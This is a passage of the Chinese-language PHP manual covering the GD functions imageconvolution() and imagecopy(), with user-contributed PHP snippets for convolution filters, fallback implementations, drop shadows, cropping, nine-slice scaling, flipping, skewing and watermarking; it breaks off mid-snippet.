imagestring($image, 5, 10, 8, 'Gaussian Blur Text', 0x00ff00);
$gaussian = array(array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0), array(1.0, 2.0, 1.0));
imageconvolution($image, $gaussian, 16, 0);

// Rewrites the text for comparison
imagestring($image, 5, 10, 18, 'Gaussian Blur Text', 0x00ff00);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

以上示例会输出：

Output of example : Gaussian blur

参见

  • imagefilter() - 对图像使用过滤器

User Contributed Notes

magilvia 17-May-2011 01:36
Here's a good sharpen setting for thumbnail creation:

<?php
            $sharpenMatrix = array
            (
                array(-1.2, -1, -1.2),
                array(-1, 20, -1),
                array(-1.2, -1, -1.2)
            );

            // calculate the sharpen divisor
            $divisor = array_sum(array_map('array_sum', $sharpenMatrix));

            $offset = 0;

            // apply the matrix
            imageconvolution($img, $sharpenMatrix, $divisor, $offset);
?>
phunction.sf.net 15-May-2010 09:20
You don't need any custom function to calculate the $divisor of the $matrix, using array_map() and array_sum() does the trick:

<?php

$matrix = array
(
    array(-1, -1, -1),
    array(-1, 16, -1),
    array(-1, -1, -1),
);

$divisor = array_sum(array_map('array_sum', $matrix)); // 8

?>
fabien dot snauwaert at gmail dot com 07-Mar-2010 10:44
Normalization is necessary to keep the image balanced (else any filter may quickly turn the image almost completely black or white).

Here is a short, easy-to-use, class to handle normalization automatically and make for easier input of the 3x3 matrix:

The code respects the "array of three arrays" syntax for use with the imageconvolution() function and automatically calculates the necesarry divisor for normalization.

<?php

class ConvolutionFilter {
    public $matrix;
    public $div;

    public function computeDiv() {
        $this->div = array_sum ($this->matrix[0]) + array_sum ($this->matrix[1]) + array_sum ($this->matrix[2]);
    }

    function __construct() {
        $matrix = func_get_args();
        $this->matrix = array(    array($matrix[0], $matrix[1], $matrix[2]),
                                array($matrix[3], $matrix[4], $matrix[5]),
                                array($matrix[6], $matrix[7], $matrix[8])
                                );
        $this->computeDiv();
    }
}

?>

Example usage:

<?php

$gaussianFilter =    new ConvolutionFilter(    1.0,    2.0,    1.0,
                                             2.0,    3.0,    2.0,
                                             1.0,    2.0,    1.0        );
imageconvolution($image, $gaussianFilter->matrix, $gaussianFilter->div, 0);

?>

Some common filters:

<?php

$identityFilter =    new ConvolutionFilter(    0.0,    0.0,    0.0,
                                             0.0,    1.0,    0.0,
                                             0.0,    0.0,    0.0        );
$sharpenFilter =    new ConvolutionFilter(    0.0,    -1.0,    0.0,
                                             -1.0,    5.0,    -1.0,
                                             0.0,    -1.0,    0.0        );
$edgeFilter =        new ConvolutionFilter(    0.0,    1.0,    0.0,
                                             1.0,    -4.0,    1.0,
                                             0.0,    1.0,    0.0        );
$findEdgesFilter =    new ConvolutionFilter(    -1.0,    -1.0,    -1.0,
                                             -2.0,    8.0,    -1.0,
                                             -1.0,    -1.0,    -1.0        );

?>

Remember you can use imagefilter() for such basic needs but the above class will make it easier for you when you want to create your own filters.
Jase 13-Sep-2007 03:53
The comment below is an extremely good workaround

however, php did throw lots of warnings at me when i had error reporting set to E_ALL

this can be avoided with one line of code and no impact (as i can see) to the rest of the function

<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    #FIX HERE
    #$pxl array was the problem so simply set it with very low values
    $pxl = array(1,1);
    #this little fix worked for me as the undefined array threw out errors

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
mgcclx at gmail dot com 28-Feb-2007 07:55
imageconvolution() does not appear in PHP with non-bundled GD libraries. It is a rare situation, but it still happens. That's why I wrote a replication of imageconvolution() in PHP. Compare to the post below, this one makes the use of offset and 30% faster.
Because it's written in PHP, it is 50 times slower than the bundled version.
Actually, this is a replication of gdimageconvolutaion() of GD library, it does not support data validating feature imageconvolution() have. But I guess people who uses this function knows their stuff.

THE SCRIPT:
<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
interghost at crovortex dot com 31-Mar-2006 11:26
an implementation of this function for PHP versions <5.1
<?php
if(!function_exists("imageconvolution"))
{
 function imageconvolution(&$img,$mat,$div,$off)
 {
   if(!imageistruecolor($img) || !is_array($mat) || count($mat)!=3 || count($mat[0])!=3 || count($mat[1])!=3 || count($mat[2])!=3) return FALSE;
   unset($bojainfo);
   for($nx=0;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=0;$ny<imagesy($img)-1;$ny++)
     {
        $rgb=imagecolorat($img,$nx,$ny);
        $bojainfo[$nx][$ny][r]=($rgb>>16)&0xFF;
        $bojainfo[$nx][$ny][g]=($rgb>>8)&0xFF;
        $bojainfo[$nx][$ny][b]=$rgb&0xFF;
     }
   }
   for($nx=1;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=1;$ny<imagesy($img)-1;$ny++)
     {
        $nr=$mat[0][0]*$bojainfo[$nx-1][$ny-1][r] + $mat[0][1]*$bojainfo[$nx][$ny-1][r] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][r] + $mat[1][0]*$bojainfo[$nx-1][$ny][r] + $mat[1][1]*$bojainfo[$nx][$ny][r] + $mat[1][2]*$bojainfo[$nx+1][$ny][r] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][r] + $mat[2][1]*$bojainfo[$nx][$ny+1][r] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][r];
        $nr=intval(round($nr/$div));
        if($nr<0) $nr=0;
        elseif($nr>255) $nr=255;
        $ng=$mat[0][0]*$bojainfo[$nx-1][$ny-1][g]  + $mat[0][1]*$bojainfo[$nx][$ny-1][g] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][g] + $mat[1][0]*$bojainfo[$nx-1][$ny][g] + $mat[1][1]*$bojainfo[$nx][$ny][g] + $mat[1][2]*$bojainfo[$nx+1][$ny][g] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][g] + $mat[2][1]*$bojainfo[$nx][$ny+1][g] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][g];
        $ng=intval(round($ng/$div));
        if($ng<0) $ng=0;
        elseif($ng>255) $ng=255;
        $nb=$mat[0][0]*$bojainfo[$nx-1][$ny-1][b] + $mat[0][1]*$bojainfo[$nx][$ny-1][b] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][b] + $mat[1][0]*$bojainfo[$nx-1][$ny][b] + $mat[1][1]*$bojainfo[$nx][$ny][b] + $mat[1][2]*$bojainfo[$nx+1][$ny][b] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][b] + $mat[2][1]*$bojainfo[$nx][$ny+1][b] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][b];
        $nb=intval(round($nb/$div));
        if($nb<0) $nb=0;
        elseif($nb>255) $nb=255;
        $nrgb=($nr<<16)+($ng<<8)+$nb;
        if(!imagesetpixel($img,$nx,$ny,$nrgb)) return FALSE;
     }
   }
   return TRUE;
  }
}
?>

it's a bit slowish so I wouldn't recommend big images, also offset is not implemented (don't know what it's suppose to do)
mlconnor at yahoo dot com 21-Mar-2006 09:00
I've seen many people come up with ways to do a drop shadow behind a rectangle such as a picture.  I haven't found one yet that was fast, PHP 4 complaint, and nice looking.  Here is one I came up with last night.  It takes an image, fills it with the background, and creates a blurred drop shadow at the specified coords using the colors and the distance offset specified.  It looks great!!!

  function blurRect(&$image, $distance, $rectX1, $rectY1, $rectX2, $rectY2, $shadowR, $shadowG, $shadowB, $backR, $backG, $backB) {

    $potentialOverlap = ($distance * 2) * ($distance * 2);

    $backgroundColor = imagecolorallocate($image, $backR, $backG, $backB);
    $shadowColor = imagecolorallocate($image, $shadowR, $shadowG, $shadowB);

    $imageWidth = imagesx($image);
    $imageHeight = imagesy($image);

    imageFilledRectangle($image, 0, 0, $imageWidth - 1, $imageHeight - 1, $backgroundColor);
    imageFilledRectangle($image, $rectX1, $rectY1, $rectX2, $rectY2, $shadowColor);

    for ( $pointX = $rectX1 - $distance; $pointX < $imageWidth; $pointX++ ) {
      for ( $pointY = $rectY1 - $distance; $pointY < $imageHeight; $pointY++ ) {

        if ( $pointX > $rectX1 + $distance &&
             $pointX < $rectX2 - $distance &&
             $pointY > $rectY1 + $distance &&
             $pointY < $rectY2 - $distance ) {
          $pointY = $rectY2 - $distance;
        }

        $boxX1 = $pointX - $distance;
        $boxY1 = $pointY - $distance;
        $boxX2 = $pointX + $distance;
        $boxY2 = $pointY + $distance;

        $xOverlap = max(0, min($boxX2, $rectX2) - max($boxX1, $rectX1));
        $yOverlap = max(0, min($boxY2, $rectY2) - max($boxY1, $rectY1));

        $totalOverlap = $xOverlap * $yOverlap;
        $shadowPcnt = $totalOverlap / $potentialOverlap;
        $backPcnt = 1.0 - $shadowPcnt;

        $newR = $shadowR * $shadowPcnt + $backR * $backPcnt;
        $newG = $shadowG * $shadowPcnt + $backG * $backPcnt;
        $newB = $shadowB * $shadowPcnt + $backB * $backPcnt;

        $newcol = imagecolorallocate($image, $newR, $newG, $newB);
        imagesetpixel($image, $pointX, $pointY, $newcol);
      }
    }
  }
dyer85 at gmail dot com 07-Jan-2006 02:24
Took me a while, but thanks to a couple of the user notes on the array_values PHP documentation page, I was able to come up with a way to dynamically compute the divisor.

I'm using PHP 5.1.0b2 on Win32 with the bundled GD library. When I try and use the imageconvolution function, whether normally, or via the functions below, the resulting image (I've only tried JPEGs and GIFs), always comes out far too bright, even when the divisor makes matrix sum equal to 1. The only thing that would reduce the brightness was to make the offset argument ridiculously large. So, I'm not sure if this effects anyone else.

Here are the functions with an example:

<?php
$im = imagecreatefromjpeg('path/to/pic.jpg');
$matrix = array(   array(5,5,5),
                   array(5,15,5),
                   array(5,5,5) );
makeFilter($im, $matrix);

header ( 'Content-Type: image/jpeg' );
imagejpeg($im);
imagedestroy($im);

/**
 * functions
 */
// This flattens the 3X3 array matrix, so we can get the sum of all the values
function array_flatten($array) {
    (array)$tempArray = array();

    foreach ( $array as $value ) {
        if ( is_array($value) ) {
            $tempArray = array_merge($tempArray, array_flatten($value));
        } else {
            $tempArray[] = $value;
        }
    }

    return $tempArray;
}

// Creates the divisor value dynamically, and passes offset
function makeFilter($resource, $matrix, $offset=1.0) {
    global $$resource;
    (float)$divisor = array_sum(array_flatten($matrix));
    return imageconvolution($resource, $matrix, $divisor, $offset) ? true : false;
}
?>
26-Oct-2005 05:32
The example below didn't provide a 3x3 matrix. Correctly, it's a multidimensional array.

<?php
    $matrix = array(    array( -1, -1, -1 ),
                        array( -1, 16, -1 ),
                        array( -1, -1, -1 ) );
?>
timeshifting at gmail dot com 24-Aug-2005 03:40
Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html


拷贝图像的一部分

  • ? imageconvolution
  • imagecopymerge ?
  • PHP Manual
  • GD 和图像处理 函数
  • 拷贝图像的一部分

imagecopy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecopy — 拷贝图像的一部分

说明

imagecopy(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $src_width,
int $src_height
): bool

从 x、y 坐标 src_x、src_y 开始，将 src_image 的一部分复制到 dst_image 上，宽度为 src_width，高度为 src_height。定义的部分将被复制到 x,y 坐标 dst_x 和 dst_y 上。

参数

dst_image

目标图象资源。

src_image

源图象资源。

dst_x

目标点的 x 坐标。

dst_y

目标点的 y 坐标。

src_x

源点的 x 坐标。

src_y

源点的 y 坐标。

src_width

源图象的宽度。

src_height

源图象的高度。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dst_image 和 src_image 现在需要 GdImage 实例；之前需要 resource。

示例

Example #1 裁剪 PHP.net logo

<?php
// Create image instances
$src = imagecreatefromgif('php.gif');
$dest = imagecreatetruecolor(80, 40);

// Copy
imagecopy($dest, $src, 0, 0, 20, 13, 80, 40);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

以上示例的输出类似于：

示例输出：裁剪 PHP.net logo

参见

  • imagecrop() - Crop an image to the given rectangle

User Contributed Notes

petr dot biza at gmail dot com 11-May-2010 07:23
There is function to crop blank edges from image.

<?php
/**
* $image image cursor (from imagecreatetruecolor)
* $backgound image curosr (from imagecolorallocate)
* $paddng int
*/
function imageCrop($image, $background = false, $padding = 0) {
    if($background)
      $background = imagecolorallocate($image, 255, 255, 255);

    $top = imageSY($image);
    $left = imageSX($image);
    $bottom = 0;
    $right = 0;

    for ($x = 0 ; $x < imagesx($image) ; $x++) {
        for ($y = 0 ; $y < imagesy($image) ; $y++) {

          // if there match
            if(imagecolorat($image, $x, $y) != $background) {

              if($x < $left)
                $left = $x;
              if($x > $right)
                $right = $x;
              if($y > $bottom)
                $bottom = $y;
              if($y < $top)
                $top = $y;
        }
        }
    }

    $right++;
    $bottom++;

    // create new image with padding
    $img = imagecreatetruecolor($right-$left+$padding*2,$bottom-$top+$padding*2);
    // fill the background
    imagefill($img, 0, 0, $background);
    // copy
    imagecopy($img, $image, $padding, $padding, $left, $top, $right-$left, $bottom-$top);

    // destroy old image cursor
    imagedestroy($image);
    return $img;
}
?>
latin4567 at gmail dot com 22-Sep-2009 07:29
I have created a PHP function which performs the standard 9-Slice scaling technique. This is extremely useful for thumbnail shadow scaling, and anything involving skinning. Feel free to pick apart and use

Note: instead of specifying margins, my 9-slicing routine uses a centered-rectangle concept... as input you provide the image (as a resource), the x and y coords of the rectangle, and the width and height of the rectangle.

The $src_im parameter should be an image resource. This script was written for 9-slicing translucent PNG images, and has only been tested with translucent PNG images, however it should work with other image types (possibly requiring some modification)

so if your source image was 400 x 400, you needed a 24 pixel margin on all sides, and your target size was 800 x 500, you would use the following parameters:

<?php
$im = NineSlice($im, 24, 24, 352, 352, 800, 500)
?>

<?php
/* 9-Slice Image Slicing Script by Sam Kelly (DuroSoft: http://www.durosoft.com) */
function NineSlice($src_im, $rect_x, $rect_y, $rect_w, $rect_h, $target_w, $target_h)
{
    $src_w = imagesx($src_im);
    $src_h = imagesy($src_im);

    $im = CreateBlankPNG($target_w, $target_h);
    imagealphablending($im,true);

    $left_w = $rect_x;
    $right_w = $src_w - ($rect_x + $rect_w);

    $left_src_y = ceil($rect_h / 2) - 1 + $rect_y;
    $right_src_y = $left_src_y;

    $left_src_x = 0;
    $right_src_x = $left_w + $rect_w;

    $top_src_x = ceil($rect_w / 2) - 1 + $rect_x;
    $bottom_src_x = $top_src_x;
    $bottom_src_y = $rect_y + $rect_h;
    $bottom_h = $src_h - $bottom_src_y;

    $left_tile = CreateBlankPNG($left_w, 1);
    imagecopy($left_tile, $src_im, 0, 0, 0, $left_src_y, $left_w, 1);

    $right_tile = CreateBlankPNG($right_w, 1);
    imagecopy($right_tile, $src_im, 0, 0, $right_src_x, $right_src_y, $right_w, 1);

    $top_tile = CreateBlankPNG(1, $rect_y);
    imagecopy($top_tile, $src_im, 0, 0, $top_src_x, 0, 1, $rect_y);

    $bottom_tile = CreateBlankPNG(1, $bottom_h);
    imagecopy($bottom_tile, $src_im, 0, 0, $bottom_src_x, $bottom_src_y, 1, $bottom_h);

    $inner_tile = CreateBlankPNG(4, 4);
    imagecopy($inner_tile, $src_im, 0, 0, ceil($src_w / 2) - 1, ceil($src_h / 2) - 1, 4, 4);

    imagecopy($im, $src_im, 0, 0, 0, 0, $left_w, $rect_y);
    imagecopy($im, $src_im, 0, $target_h - $bottom_h, 0, $bottom_src_y, $rect_x, $bottom_h);
    imagecopy($im, $src_im, $target_w - $right_w, 0, $right_src_x, 0, $right_w, $rect_y);
    imagecopy($im, $src_im, $target_w - $right_w, $target_h - $bottom_h, $src_w - $right_w, $bottom_src_y, $right_w, $bottom_h);

    imagesettile($im, $top_tile);
    imagefilledrectangle($im, $left_w, 0, $target_w - $right_w - 1, $rect_y, IMG_COLOR_TILED);

    imagesettile($im, $left_tile);
    imagefilledrectangle($im, 0, $rect_y, $left_w, $target_h - $bottom_h - 1, IMG_COLOR_TILED);

    $right_side = CreateBlankPNG($right_w, $target_h - $rect_y - $bottom_h);
    imagesettile($right_side, $right_tile);
    imagefilledrectangle($right_side, 0, 0, $right_w, $target_h - $rect_y - $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $right_side, $target_w - $right_w, $rect_y, 0, 0, $right_w, $target_h - $rect_y - $bottom_h);

    $bottom_side = CreateBlankPNG($target_w - $right_w - $left_w, $bottom_h);
    imagesettile($bottom_side, $bottom_tile);
    imagefilledrectangle($bottom_side, 0, 0, $target_w - $right_w - $left_w, $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $bottom_side, $right_w, $target_h - $bottom_h, 0, 0, $target_w - $right_w - $left_w, $bottom_h);

    imagedestroy($left_tile);
    imagedestroy($right_tile);
    imagedestroy($top_tile);
    imagedestroy($bottom_tile);
    imagedestroy($inner_tile);
    imagedestroy($right_side);
    imagedestroy($bottom_side);

    return $im;
}

function CreateBlankPNG($w, $h)
{
    $im = imagecreatetruecolor($w, $h);
    imagesavealpha($im, true);
    $transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
    imagefill($im, 0, 0, $transparent);
    return $im;
}
 ?>
Chad Allard 06-Jul-2009 12:20
Regarding the image_flip function discussed in the notes here, don't forget to support transparency.

AFTER:

$imgdest = imagecreatetruecolor($width, $height);

ADD:

imagealphablending($imgdest, false);
imagesavealpha($imgdest, true);

In another post here it mentioned you didn't have to use the imagesavealpha function, but I found without it the background transparency can turn the background canvas black.
etienne at escott dot info 03-Jul-2009 02:16
This is based on the Skew function from designerkamal at gmail dot com.

This is a function for skewing images in PHP with anti-aliasing. It works with alpha PNG images.

Warning: the bigger the image you skew, the longer it will take to process. It's about 3 times longer than without anti-aliasing.

<?php
// $img: handle of an image
// $skew_val: level of skew to apply (0 being none, 1 being 45°)
function imageskewantialiased($img, $skew_val)
{
    $width = imagesx($img);
    $height = imagesy($img);
    $height2 = $height + ($width * $skew_val);

    // See below for definition of imagecreatealpha
    $imgdest = imagecreatealpha($width, $height2);

    // Process the image
    for($x = 0, $level = 0; $x < $width - 1; $x++)
    {
        $floor = floor($level);

        // To go faster, some lines are being copied at once
        if ($level == $floor)
            imagecopy($imgdest, $img, $x, $level, $x, 0, 1, $height - 1);
        else
        {
            $temp = $level - $floor;

            // The first pixel of the line
            // We get the color then apply a fade on it depending on the level
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, 0));
            $alpha = $color1['alpha'] + ($temp * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor, $color);
            }

            // The rest of the line
            for($y = 1; $y < $height - 1; $y++)
            {
                // Merge this pixel and the upper one
                $color2 = imagecolorsforindex($img, imagecolorat($img, $x, $y));
                $alpha = ($color1['alpha'] * $temp) + ($color2['alpha'] * (1 - $temp));
                if ($alpha < 127)
                {
                    $red   = ($color1['red']   * $temp) + ($color2['red']   * (1 - $temp));
                    $green = ($color1['green'] * $temp) + ($color2['green'] * (1 - $temp));
                    $blue  = ($color1['blue']  * $temp) + ($color2['blue']  * (1 - $temp));
                    $color = imagecolorallocatealpha($imgdest, $red, $green, $blue, $alpha);
                    imagesetpixel($imgdest, $x, $floor + $y, $color);
                }

                $color1 = $color2;
            }

            // The last pixel of the line
            $color1 = imagecolorsforindex($img, imagecolorat($img, $x, $height - 1));
            $alpha = $color1['alpha'] + ((1 - $temp) * 127);
            if ($alpha < 127)
            {
                $color = imagecolorallocatealpha($imgdest, $color1['red'], $color1['green'], $color1['blue'], $alpha);
                imagesetpixel($imgdest, $x, $floor + $height - 1, $color);
            }
        }

        // The line is finished, the next line will be lower
        $level += $skew_val;
    }

    // Finished processing, return the skewed image
    return $imgdest;
}

// Creates a new image of the size specified with a blank background (transparent)
function imagecreatealpha($width, $height)
{
    // Create a normal image and apply required settings
    $img = imagecreatetruecolor($width, $height);
    imagealphablending($img, false);
    imagesavealpha($img, true);

    // Apply the transparent background
    $trans = imagecolorallocatealpha($img, 0, 0, 0, 127);
    for ($x = 0; $x < $width; $x++)
    {
        for ($y = 0; $y < $height; $y++)
        {
            imagesetpixel($img, $x, $y, $trans);
        }
    }

    return $img;
}

// Here's an example of how to use it
imagepng(imageskewantialiased(imagecreatefrompng('test.png'), 0.15), 'skew.png');
?>
John Conde 27-May-2009 07:55
Simple and basic image cropping:

<?php
// Original image
$filename = 'someimage.jpg';

// Get dimensions of the original image
list($current_width, $current_height) = getimagesize($filename);

// The x and y coordinates on the original image where we
// will begin cropping the image
$left = 50;
$top = 50;

// This will be the final size of the image (e.g. how many pixels
// left and down we will be going)
$crop_width = 200;
$crop_height = 200;

// Resample the image
$canvas = imagecreatetruecolor($crop_width, $crop_height);
$current_image = imagecreatefromjpeg($filename);
imagecopy($canvas, $current_image, 0, 0, $left, $top, $current_width, $current_height);
imagejpeg($canvas, $filename, 100);
?>
webmaster at plumage dot nl 18-Mar-2009 04:38
I have a few remarks om the mirror-function:
The cases horizontal and vertical are switched.
1 = vertical and 2 = horizontal.
When I used it there appeared a black lining of 1 pixel on the side or on the top of the picture.
To remove it the function becomes as follows:

<?php
function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( $mode )
    {

        case '1': //vertical
            $src_y                =    $height -1;
            $src_height           =    -$height;
        break;

        case '2': //horizontal
            $src_x                =    $width -1;
            $src_width            =    -$width;
        break;

        case '3': //both
            $src_x                =    $width -1;
            $src_y                =    $height -1;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y , $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}
?>
xafford 27-Sep-2008 05:53
concerning the previous post of Borszczuk and the function to mirror images:

There′s a way better (and faster) method for this task with imagecopyresampled.

<?php

define ( 'IMAGE_FLIP_HORIZONTAL', 1 );
define ( 'IMAGE_FLIP_VERTICAL', 2 );
define ( 'IMAGE_FLIP_BOTH', 3 );

function ImageFlip ( $imgsrc, $mode )
{

    $width                        =    imagesx ( $imgsrc );
    $height                       =    imagesy ( $imgsrc );

    $src_x                        =    0;
    $src_y                        =    0;
    $src_width                    =    $width;
    $src_height                   =    $height;

    switch ( (int) $mode )
    {

        case IMAGE_FLIP_HORIZONTAL:
            $src_y                =    $height;
            $src_height           =    -$height;
        break;

        case IMAGE_FLIP_VERTICAL:
            $src_x                =    $width;
            $src_width            =    -$width;
        break;

        case IMAGE_FLIP_BOTH:
            $src_x                =    $width;
            $src_y                =    $height;
            $src_width            =    -$width;
            $src_height           =    -$height;
        break;

        default:
            return $imgsrc;

    }

    $imgdest                    =    imagecreatetruecolor ( $width, $height );

    if ( imagecopyresampled ( $imgdest, $imgsrc, 0, 0, $src_x, $src_y, $width, $height, $src_width, $src_height ) )
    {
        return $imgdest;
    }

    return $imgsrc;

}

?>
Cory Gagliardi 08-Jul-2008 11:40
Here is some simple code for resizing an uploaded image and inserting a watermark (from a 24-bit PNG) on the bottom right of it.  In this case, the water mark was a diagnol band that said "SOLD" across it.  The code that verifies the uploaded image is the correct type has been omitted:

<?PHP
//Load and resize the image
$uploaded = imagecreatefromjpeg($_FILES['file']['tmp_name']);
$image = imagecreatetruecolor(IMAGE_WIDTH, IMAGE_HEIGHT);
imagecopyresampled($image, $uploaded, 0, 0, 0, 0, IMAGE_WIDTH, IMAGE_HEIGHT, imagesx($uploaded), imagesy($uploaded));
imagealphablending($image,true); //allows us to apply a 24-bit watermark over $image

//Load the sold watermark
$sold_band = imagecreatefrompng('../images/sold_band.png');
imagealphablending($sold_band,true);

//Apply watermark and save
$image = image_overlap($image, $sold_band);
imagecopy($image,$sold_band,IMAGE_WIDTH - SOLD_WIDTH,IMAGE_HEIGHT - SOLD_HEIGHT,0,0,SOLD_WIDTH,SOLD_HEIGHT);
$success = imagejpeg($image,'../images/sold/'.$id.'.jpg',85);

imagedestroy($image);
imagedestroy($uploaded);
imagedestroy($sold_band);
?>
matrebatre 02-Feb-2008 05:22
I had the same problem as Jeff, but his solution didn't work for me. I made this script, and it seems to work:

<?php

$img = imagecreatefromgif('in.gif');
$w = imagesx($img);
$h = imagesy($img);

$trans = imagecolortransparent($img);
if($trans >= 0) {

$rgb = imagecolorsforindex($img, $trans);

$oldimg = $img;
$img = imagecreatetruecolor($w,$h);
$color = imagecolorallocate($img,$rgb['red'],$rgb['green'],$rgb['blue']);
imagefilledrectangle($img,0,0,$w,$h,$color);
imagecopy($img,$oldimg,0,0,0,0,$w,$h);

}

imagegif($img,'out.gif');

?>
Jeff 22-Feb-2007 03:27
I came across the problem of having a page where any image could be uploaded, then I would need to work with it as a true color image with transparency. The problem came with palette images with transparency (e.g. GIF images), the transparent parts changed to black (no matter what color was actually representing transparent) when I used imagecopy to convert the image to true color.

To convert an image to true color with the transparency as well, the following code works (assuming $img is your image resource):

<?php
//Convert $img to truecolor
$w = imagesx($img);
$h = imagesy($img);
if (!imageistruecolor($img)) {
  $original_transparency = imagecolortransparent($img);
  //we have a transparent color
  if ($original_transparency >= 0) {
    //get the actual transparent color
    $rgb = imagecolorsforindex($img, $original_transparency);
    $original_transparency = ($rgb['red'] << 16) | ($rgb['green'] << 8) | $rgb['blue'];
